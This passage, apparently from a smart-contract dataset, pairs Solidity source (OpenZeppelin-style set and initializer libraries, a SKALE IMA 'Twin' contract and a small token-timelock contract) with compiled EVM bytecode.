on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) { return _at(set._inner, index); } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint160(uint256(_at(set._inner, index)))); } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } } // SPDX-License-Identifier: MIT // solhint-disable-next-line compiler-version pragma solidity ^0.8.0; /** * @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed * behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer * function so it can only be called once. The {initializer} modifier provided by this contract will have this effect. * * TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as * possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}. * * CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity. */ abstract contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private _initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private _initializing; /** * @dev Modifier to protect an initializer function from being invoked twice. */ modifier initializer() { require(_initializing || !_initialized, "Initializable: contract is already initialized"); bool isTopLevelCall = !_initializing; if (isTopLevelCall) { _initializing = true; _initialized = true; } _; if (isTopLevelCall) { _initializing = false; } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../proxy/utils/Initializable.sol"; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract ContextUpgradeable is Initializable { function __Context_init() internal initializer { __Context_init_unchained(); } function __Context_init_unchained() internal initializer { } function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } uint256[50] private __gap; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev String operations. */ library StringsUpgradeable { bytes16 private constant alphabet = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = alphabet[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC165Upgradeable.sol"; import "../../proxy/utils/Initializable.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165Upgradeable is Initializable, IERC165Upgradeable { function __ERC165_init() internal initializer { __ERC165_init_unchained(); } function __ERC165_init_unchained() internal initializer { } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165Upgradeable).interfaceId; } uint256[50] private __gap; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165Upgradeable { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: AGPL-3.0-only /* IContractManager.sol - SKALE Manager Interfaces Copyright (C) 2021-Present SKALE Labs @author Dmytro Stebaeiv SKALE Manager Interfaces is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager Interfaces is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager Interfaces. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity >=0.6.10 <0.9.0; interface IContractManager { function setContractsAddress(string calldata contractsName, address newContractsAddress) external; function getContract(string calldata name) external view returns (address); } // SPDX-License-Identifier: AGPL-3.0-only /* ISchainsInternal - SKALE Manager Interfaces Copyright (C) 2021-Present SKALE Labs @author Dmytro Stebaeiv SKALE Manager Interfaces is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager Interfaces is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager Interfaces. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity >=0.6.10 <0.9.0; interface ISchainsInternal { function isNodeAddressesInGroup(bytes32 schainId, address sender) external view returns (bool); function isOwnerAddress(address from, bytes32 schainId) external view returns (bool); } // SPDX-License-Identifier: AGPL-3.0-only /** * Twin.sol - SKALE Interchain Messaging Agent * Copyright (C) 2021-Present SKALE Labs * @author Artem Payvin * @author Dmytro Stebaiev * @author Vadim Yavorsky * * SKALE IMA is free software: you can redistribute it and/or modify * it under the terms of the GNU Affero General Public License as published * by the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * SKALE IMA is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU Affero General Public License for more details. * * You should have received a copy of the GNU Affero General Public License * along with SKALE IMA. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.8.6; import "./MessageProxyForMainnet.sol"; import "./SkaleManagerClient.sol"; abstract contract Twin is SkaleManagerClient { MessageProxyForMainnet public messageProxy; mapping(bytes32 => address) public schainLinks; bytes32 public constant LINKER_ROLE = keccak256("LINKER_ROLE"); modifier onlyMessageProxy() { require(msg.sender == address(messageProxy), "Sender is not a MessageProxy"); _; } /** * @dev Binds a contract on mainnet with his twin on schain * * Requirements: * * - `msg.sender` must be schain owner or has required role. * - SKALE chain must not already be added. * - Address of contract on schain must be non-zero. */ function addSchainContract(string calldata schainName, address contractReceiver) external { bytes32 schainHash = keccak256(abi.encodePacked(schainName)); require( hasRole(LINKER_ROLE, msg.sender) || isSchainOwner(msg.sender, schainHash), "Not authorized caller" ); require(schainLinks[schainHash] == address(0), "SKALE chain is already set"); require(contractReceiver != address(0), "Incorrect address of contract receiver on Schain"); schainLinks[schainHash] = contractReceiver; } /** * @dev Removes connection with contract on schain * * Requirements: * * - `msg.sender` must be schain owner or has required role * - SKALE chain must already be set. */ function removeSchainContract(string calldata schainName) external { bytes32 schainHash = keccak256(abi.encodePacked(schainName)); require( hasRole(LINKER_ROLE, msg.sender) || isSchainOwner(msg.sender, schainHash), "Not authorized caller" ); require(schainLinks[schainHash] != address(0), "SKALE chain is not set"); delete schainLinks[schainHash]; } function hasSchainContract(string calldata schainName) external view returns (bool) { return schainLinks[keccak256(abi.encodePacked(schainName))] != address(0); } function initialize( IContractManager contractManagerOfSkaleManagerValue, MessageProxyForMainnet newMessageProxy ) public virtual initializer { SkaleManagerClient.initialize(contractManagerOfSkaleManagerValue); messageProxy = newMessageProxy; } }
0x6080604052600436106101b75760003560e01c806386c051eb116100ec578063b96d4c6f1161008a578063c4d66de811610064578063c4d66de81461052c578063c80493cf1461054c578063ca15c8731461056e578063d547741f1461058e57600080fd5b8063b96d4c6f146104c5578063bbc4e8c2146104d8578063c0c53b8b1461050c57600080fd5b80639769b439116100c65780639769b4391461045a5780639bb2a2dd1461047a578063a217fddf14610490578063b0cba84e146104a557600080fd5b806386c051eb146103df5780639010d07c1461041a57806391d148541461043a57600080fd5b8063468eaa29116101595780635573b8b6116101335780635573b8b6146103495780635c75f49d146103695780635fc1eba3146103895780636cfc7d64146103a957600080fd5b8063468eaa29146102e9578063485cc955146103095780634e9e82b31461032957600080fd5b80632f2ff15d116101955780632f2ff15d1461025157806336568abe146102715780633a51d24614610291578063410ec2e2146102b157600080fd5b806301ffc9a7146101bc57806323dc68d1146101f1578063248a9ca314610213575b600080fd5b3480156101c857600080fd5b506101dc6101d7366004611d6c565b6105ae565b60405190151581526020015b60405180910390f35b3480156101fd57600080fd5b5061021161020c366004611e6e565b6105d9565b005b34801561021f57600080fd5b5061024361022e366004611cb9565b60009081526065602052604090206001015490565b6040519081526020016101e8565b34801561025d57600080fd5b5061021161026c366004611cd2565b61077b565b34801561027d57600080fd5b5061021161028c366004611cd2565b6107a2565b34801561029d57600080fd5b506102436102ac366004611e2c565b6107c4565b3480156102bd57600080fd5b5060c9546102d1906001600160a01b031681565b6040516001600160a01b0390911681526020016101e8565b3480156102f557600080fd5b506101dc610304366004611c6b565b610817565b34801561031557600080fd5b50610211610324366004611dfe565b610943565b34801561033557600080fd5b50610211610344366004611d02565b6109d4565b34801561035557600080fd5b5060ca546102d1906001600160a01b031681565b34801561037557600080fd5b50610211610384366004611e2c565b610c42565b34801561039557600080fd5b506102116103a4366004611cb9565b610d58565b3480156103b557600080fd5b506102d16103c4366004611cb9565b60cb602052600090815260409020546001600160a01b031681565b3480156103eb57600080fd5b506101dc6103fa366004611c6b565b60cd60209081526000928352604080842090915290825290205460ff1681565b34801561042657600080fd5b506102d1610435366004611d4a565b610e0f565b34801561044657600080fd5b506101dc610455366004611cd2565b610e2e565b34801561046657600080fd5b50610211610475366004611eba565b610e59565b34801561048657600080fd5b5061024360ce5481565b34801561049c57600080fd5b50610243600081565b3480156104b157600080fd5b506101dc6104c0366004611e2c565b611027565b6102116104d3366004611e2c565b611082565b3480156104e457600080fd5b506102437f96e3fc3be15159903e053027cff8a23f39a990e0194abcd8ac1cf1b355b8b93c81565b34801561051857600080fd5b50610211610527366004611db3565b611232565b34801561053857600080fd5b50610211610547366004611d96565b6112c9565b34801561055857600080fd5b5061024360008051602061219883398151915281565b34801561057a57600080fd5b50610243610589366004611cb9565b611364565b34801561059a57600080fd5b506102116105a9366004611cd2565b61137b565b60006001600160e01b03198216635a05180f60e01b14806105d357506105d382611385565b92915050565b600083836040516020016105ee929190611f32565b60405160208183030381529060405280519060200120905061061e60008051602061219883398151915233610e2e565b8061062e575061062e3382610817565b6106775760405162461bcd60e51b81526020600482015260156024820152742737ba1030baba3437b934bd32b21031b0b63632b960591b60448201526064015b60405180910390fd5b600081815260cb60205260409020546001600160a01b0316156106dc5760405162461bcd60e51b815260206004820152601a60248201527f534b414c4520636861696e20697320616c726561647920736574000000000000604482015260640161066e565b6001600160a01b03821661074b5760405162461bcd60e51b815260206004820152603060248201527f496e636f72726563742061646472657373206f6620636f6e747261637420726560448201526f31b2b4bb32b91037b71029b1b430b4b760811b606482015260840161066e565b600090815260cb6020526040902080546001600160a01b0319166001600160a01b03929092169190911790555050565b61078582826113ba565b600082815260976020526040902061079d90826113e0565b505050565b6107ac82826113f5565b600082815260976020526040902061079d908261146f565b33600090815260cc602090815260408083209051909183916107ea918791879101611f32565b60405160208183030381529060405280519060200120815260200190815260200160002054905092915050565b60c954604051633581777360e01b815260206004820152600f60248201526e14d8da185a5b9cd25b9d195c9b985b608a1b604482015260009182916001600160a01b039091169063358177739060640160206040518083038186803b15801561087f57600080fd5b505afa158015610893573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108b79190611c4e565b6040516347bf280560e11b81526001600160a01b0386811660048301526024820186905291925090821690638f7e500a9060440160206040518083038186803b15801561090357600080fd5b505afa158015610917573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061093b9190611c97565b949350505050565b600054610100900460ff168061095c575060005460ff16155b6109785760405162461bcd60e51b815260040161066e90611ffd565b600054610100900460ff1615801561099a576000805461ffff19166101011790555b6109a3836112c9565b60ca80546001600160a01b0319166001600160a01b038416179055801561079d576000805461ff0019169055505050565b60ca546001600160a01b03163314610a2e5760405162461bcd60e51b815260206004820152601c60248201527f53656e646572206973206e6f742061204d65737361676550726f787900000000604482015260640161066e565b6001600160a01b038216600090815260cd6020908152604080832087845290915290205460ff16610a995760405162461bcd60e51b8152602060048201526015602482015274557365722073686f756c642062652061637469766560581b604482015260640161066e565b6001600160a01b038316610aef5760405162461bcd60e51b815260206004820152601860248201527f4e6f64652061646472657373206d757374206265207365740000000000000000604482015260640161066e565b6000610afb823a6120b1565b6001600160a01b038416600090815260cc60209081526040808320898452909152902054909150610b2d9082906120d0565b6001600160a01b038416600090815260cc6020908152604080832089845290915290205560ce54610b5f903a906120b1565b6001600160a01b038416600090815260cc602090815260408083208984529091529020541015610c28576001600160a01b03808416600090815260cd602090815260408083208984528252808320805460ff1916905560ca5460cb9092529091205490821691639448920291889116610bd787611484565b6040518463ffffffff1660e01b8152600401610bf593929190611fb7565b600060405180830381600087803b158015610c0f57600080fd5b505af1158015610c23573d6000803e3d6000fd5b505050505b610c3b6001600160a01b03851682611491565b5050505050565b60008282604051602001610c57929190611f32565b604051602081830303815290604052805190602001209050610c8760008051602061219883398151915233610e2e565b80610c975750610c973382610817565b610cdb5760405162461bcd60e51b81526020600482015260156024820152742737ba1030baba3437b934bd32b21031b0b63632b960591b604482015260640161066e565b600081815260cb60205260409020546001600160a01b0316610d385760405162461bcd60e51b815260206004820152601660248201527514d2d053114818da185a5b881a5cc81b9bdd081cd95d60521b604482015260640161066e565b600090815260cb6020526040902080546001600160a01b03191690555050565b610d827f96e3fc3be15159903e053027cff8a23f39a990e0194abcd8ac1cf1b355b8b93c33610e2e565b610dce5760405162461bcd60e51b815260206004820181905260248201527f434f4e5354414e545f5345545445525f524f4c45206973207265717569726564604482015260640161066e565b60ce5460408051918252602082018390527f331f224b2912576029359714fd8a4f953651fb48b042c6c23f8da99bab035a43910160405180910390a160ce55565b6000828152609760205260408120610e2790836115aa565b9392505050565b60009182526065602090815260408084206001600160a01b0393909316845291905290205460ff1690565b60008383604051602001610e6e929190611f32565b60408051601f19818403018152918152815160209283012033600090815260cc8452828120828252909352912054909150821115610ee35760405162461bcd60e51b815260206004820152601260248201527142616c616e636520697320746f6f206c6f7760701b604482015260640161066e565b33600090815260cc60209081526040808320848452909152902054610f099083906120d0565b33600090815260cc6020908152604080832085845290915290205560ce54610f32903a906120b1565b33600090815260cc60209081526040808320858452909152902054108015610f74575033600090815260cd6020908152604080832084845290915290205460ff165b156110175733600081815260cd602090815260408083208584528252808320805460ff1916905560ca5460cb909252909120546001600160a01b039182169263944892029285921690610fc690611484565b6040518463ffffffff1660e01b8152600401610fe493929190611fb7565b600060405180830381600087803b158015610ffe57600080fd5b505af1158015611012573d6000803e3d6000fd5b505050505b6110213383611491565b50505050565b6000806001600160a01b031660cb6000858560405160200161104a929190611f32565b60408051808303601f19018152918152815160209283012083529082019290925201600020546001600160a01b031614159392505050565b60008282604051602001611097929190611f32565b6040516020818303038152906040528051906020012090503a60ce546110bd91906120b1565b33600090815260cc602090815260408083208584529091529020546110e29034612099565b10156111305760405162461bcd60e51b815260206004820152601e60248201527f4e6f7420656e6f7567682045544820666f72207472616e73616374696f6e0000604482015260640161066e565b33600090815260cc60209081526040808320848452909152902054611156903490612099565b33600081815260cc6020908152604080832086845282528083209490945591815260cd8252828120848252909152205460ff1661079d5733600081815260cd602090815260408083208584528252808320805460ff1916600117905560ca5460cb909252909120546001600160a01b0391821692639448920292859216906111dd906115b6565b6040518463ffffffff1660e01b81526004016111fb93929190611fb7565b600060405180830381600087803b15801561121557600080fd5b505af1158015611229573d6000803e3d6000fd5b50505050505050565b600054610100900460ff168061124b575060005460ff16155b6112675760405162461bcd60e51b815260040161066e90611ffd565b600054610100900460ff16158015611289576000805461ffff19166101011790555b6112938483610943565b6112ab600080516020612198833981519152846115c3565b620f424060ce558015611021576000805461ff001916905550505050565b600054610100900460ff16806112e2575060005460ff16155b6112fe5760405162461bcd60e51b815260040161066e90611ffd565b600054610100900460ff16158015611320576000805461ffff19166101011790555b6113286115cd565b6113336000336115c3565b60c980546001600160a01b0319166001600160a01b0384161790558015611360576000805461ff00191690555b5050565b60008181526097602052604081206105d390611659565b6107ac8282611663565b60006001600160e01b03198216637965db0b60e01b14806105d357506301ffc9a760e01b6001600160e01b03198316146105d3565b6000828152606560205260409020600101546113d68133611689565b61079d83836116ed565b6000610e27836001600160a01b038416611773565b6001600160a01b03811633146114655760405162461bcd60e51b815260206004820152602f60248201527f416363657373436f6e74726f6c3a2063616e206f6e6c792072656e6f756e636560448201526e103937b632b9903337b91039b2b63360891b606482015260840161066e565b61136082826117c2565b6000610e27836001600160a01b038416611829565b60606105d3826000611916565b804710156114e15760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a20696e73756666696369656e742062616c616e6365000000604482015260640161066e565b6000826001600160a01b03168260405160006040518083038185875af1925050503d806000811461152e576040519150601f19603f3d011682016040523d82523d6000602084013e611533565b606091505b505090508061079d5760405162461bcd60e51b815260206004820152603a60248201527f416464726573733a20756e61626c6520746f2073656e642076616c75652c207260448201527f6563697069656e74206d61792068617665207265766572746564000000000000606482015260840161066e565b6000610e27838361196f565b60606105d3826001611916565b61078582826119f5565b600054610100900460ff16806115e6575060005460ff16155b6116025760405162461bcd60e51b815260040161066e90611ffd565b600054610100900460ff16158015611624576000805461ffff19166101011790555b61162c6119ff565b6116346119ff565b61163c6119ff565b6116446119ff565b8015611656576000805461ff00191690555b50565b60006105d3825490565b60008281526065602052604090206001015461167f8133611689565b61079d83836117c2565b6116938282610e2e565b611360576116ab816001600160a01b03166014611a69565b6116b6836020611a69565b6040516020016116c7929190611f42565b60408051601f198184030181529082905262461bcd60e51b825261066e91600401611fea565b6116f78282610e2e565b6113605760008281526065602090815260408083206001600160a01b03851684529091529020805460ff1916600117905561172f3390565b6001600160a01b0316816001600160a01b0316837f2f8788117e7eff1d82e926ec794901d17c78024a50270940304540a733656f0d60405160405180910390a45050565b60008181526001830160205260408120546117ba575081546001818101845560008481526020808220909301849055845484825282860190935260409020919091556105d3565b5060006105d3565b6117cc8282610e2e565b156113605760008281526065602090815260408083206001600160a01b0385168085529252808320805460ff1916905551339285917ff6391f5c32d9c69d2a47ea670b442974b53935d1edc7fd64eb21e047a839171b9190a45050565b6000818152600183016020526040812054801561190c57600061184d6001836120d0565b8554909150600090611861906001906120d0565b9050600086600001828154811061187a5761187a612156565b906000526020600020015490508087600001848154811061189d5761189d612156565b6000918252602080832090910192909255828152600189019091526040902084905586548790806118d0576118d0612140565b600190038181906000526020600020016000905590558660010160008781526020019081526020016000206000905560019450505050506105d3565b60009150506105d3565b60408051608081018252600760608083019182529082526001600160a01b03851660208084019190915284151583850152925190926119579183910161204b565b60405160208183030381529060405291505092915050565b815460009082106119cd5760405162461bcd60e51b815260206004820152602260248201527f456e756d657261626c655365743a20696e646578206f7574206f6620626f756e604482015261647360f01b606482015260840161066e565b8260000182815481106119e2576119e2612156565b9060005260206000200154905092915050565b61136082826116ed565b600054610100900460ff1680611a18575060005460ff16155b611a345760405162461bcd60e51b815260040161066e90611ffd565b600054610100900460ff16158015611644576000805461ffff19166101011790558015611656576000805461ff001916905550565b60606000611a788360026120b1565b611a83906002612099565b67ffffffffffffffff811115611a9b57611a9b61216c565b6040519080825280601f01601f191660200182016040528015611ac5576020820181803683370190505b509050600360fc1b81600081518110611ae057611ae0612156565b60200101906001600160f81b031916908160001a905350600f60fb1b81600181518110611b0f57611b0f612156565b60200101906001600160f81b031916908160001a9053506000611b338460026120b1565b611b3e906001612099565b90505b6001811115611bb6576f181899199a1a9b1b9c1cb0b131b232b360811b85600f1660108110611b7257611b72612156565b1a60f81b828281518110611b8857611b88612156565b60200101906001600160f81b031916908160001a90535060049490941c93611baf81612113565b9050611b41565b508315610e275760405162461bcd60e51b815260206004820181905260248201527f537472696e67733a20686578206c656e67746820696e73756666696369656e74604482015260640161066e565b60008083601f840112611c1757600080fd5b50813567ffffffffffffffff811115611c2f57600080fd5b602083019150836020828501011115611c4757600080fd5b9250929050565b600060208284031215611c6057600080fd5b8151610e2781612182565b60008060408385031215611c7e57600080fd5b8235611c8981612182565b946020939093013593505050565b600060208284031215611ca957600080fd5b81518015158114610e2757600080fd5b600060208284031215611ccb57600080fd5b5035919050565b60008060408385031215611ce557600080fd5b823591506020830135611cf781612182565b809150509250929050565b60008060008060808587031215611d1857600080fd5b843593506020850135611d2a81612182565b92506040850135611d3a81612182565b9396929550929360600135925050565b60008060408385031215611d5d57600080fd5b50508035926020909101359150565b600060208284031215611d7e57600080fd5b81356001600160e01b031981168114610e2757600080fd5b600060208284031215611da857600080fd5b8135610e2781612182565b600080600060608486031215611dc857600080fd5b8335611dd381612182565b92506020840135611de381612182565b91506040840135611df381612182565b809150509250925092565b60008060408385031215611e1157600080fd5b8235611e1c81612182565b91506020830135611cf781612182565b60008060208385031215611e3f57600080fd5b823567ffffffffffffffff811115611e5657600080fd5b611e6285828601611c05565b90969095509350505050565b600080600060408486031215611e8357600080fd5b833567ffffffffffffffff811115611e9a57600080fd5b611ea686828701611c05565b9094509250506020840135611df381612182565b600080600060408486031215611ecf57600080fd5b833567ffffffffffffffff811115611ee657600080fd5b611ef286828701611c05565b909790965060209590950135949350505050565b60008151808452611f1e8160208601602086016120e7565b601f01601f19169290920160200192915050565b8183823760009101908152919050565b7f416363657373436f6e74726f6c3a206163636f756e7420000000000000000000815260008351611f7a8160178501602088016120e7565b7001034b99036b4b9b9b4b733903937b6329607d1b6017918401918201528351611fab8160288401602088016120e7565b01602801949350505050565b8381526001600160a01b0383166020820152606060408201819052600090611fe190830184611f06565b95945050505050565b602081526000610e276020830184611f06565b6020808252602e908201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160408201526d191e481a5b9a5d1a585b1a5e995960921b606082015260800190565b8151516060820190600d811061207157634e487b7160e01b600052602160045260246000fd5b82526020838101516001600160a01b0316908301526040928301511515929091019190915290565b600082198211156120ac576120ac61212a565b500190565b60008160001904831182151516156120cb576120cb61212a565b500290565b6000828210156120e2576120e261212a565b500390565b60005b838110156121025781810151838201526020016120ea565b838111156110215750506000910152565b6000816121225761212261212a565b506000190190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461165657600080fdfe733bac3dca102687aa08c854c5f9067fc424f98fd8e90e41ad6b73aecc59a4fda264697066735822122045e03111c9a863251edc95fb43437cbd0af0455e623552dc1803ad8ecc961de564736f6c63430008060033
[ 5, 12 ]
0xf1baad67a1415220229b2ec3174b78ffc6e6a09a
pragma solidity ^0.4.18; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract token { function balanceOf(address _owner) public constant returns (uint256 balance); function transfer(address _to, uint256 _value) public returns (bool success); } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public{ owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract lockEtherPay is Ownable { using SafeMath for uint256; token token_reward; address public beneficiary; bool public isLocked = false; bool public isReleased = false; uint256 public start_time; uint256 public end_time; uint256 public fifty_two_weeks = 29116800; event TokenReleased(address beneficiary, uint256 token_amount); constructor() public{ token_reward = token(0xAa1ae5e57dc05981D83eC7FcA0b3c7ee2565B7D6); beneficiary = 0xa0d4FB8f90859A110770B144C235081868c8cdd3; } function tokenBalance() constant public returns (uint256){ return token_reward.balanceOf(this); } function lock() public onlyOwner returns (bool){ require(!isLocked); require(tokenBalance() > 0); start_time = now; end_time = start_time.add(fifty_two_weeks); isLocked = true; } function lockOver() constant public returns (bool){ uint256 current_time = now; return current_time > end_time; } function release() onlyOwner public{ require(isLocked); require(!isReleased); require(lockOver()); uint256 token_amount = tokenBalance(); token_reward.transfer( beneficiary, token_amount); emit TokenReleased(beneficiary, token_amount); isReleased = true; } }
0x6080604052600436106100ba576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806316243356146100bf57806338af3eed146100ea5780636e15266a14610141578063834ee4171461016c57806386d1a69f146101975780638da5cb5b146101ae5780639b7faaf0146102055780639e1a4d1914610234578063a4e2d6341461025f578063f2fde38b1461028e578063f83d08ba146102d1578063fa2a899714610300575b600080fd5b3480156100cb57600080fd5b506100d461032f565b6040518082815260200191505060405180910390f35b3480156100f657600080fd5b506100ff610335565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561014d57600080fd5b5061015661035b565b6040518082815260200191505060405180910390f35b34801561017857600080fd5b50610181610361565b6040518082815260200191505060405180910390f35b3480156101a357600080fd5b506101ac610367565b005b3480156101ba57600080fd5b506101c36105e6565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561021157600080fd5b5061021a61060b565b604051808215151515815260200191505060405180910390f35b34801561024057600080fd5b5061024961061c565b6040518082815260200191505060405180910390f35b34801561026b57600080fd5b5061027461071b565b604051808215151515815260200191505060405180910390f35b34801561029a57600080fd5b506102cf600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061072e565b005b3480156102dd57600080fd5b506102e6610883565b604051808215151515815260200191505060405180910390f35b34801561030c57600080fd5b50610315610954565b604051808215151515815260200191505060405180910390f35b60045481565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60055481565b60035481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156103c457600080fd5b600260149054906101000a900460ff1615156103df57600080fd5b600260159054906101000a900460ff161515156103fb57600080fd5b61040361060b565b151561040e5760008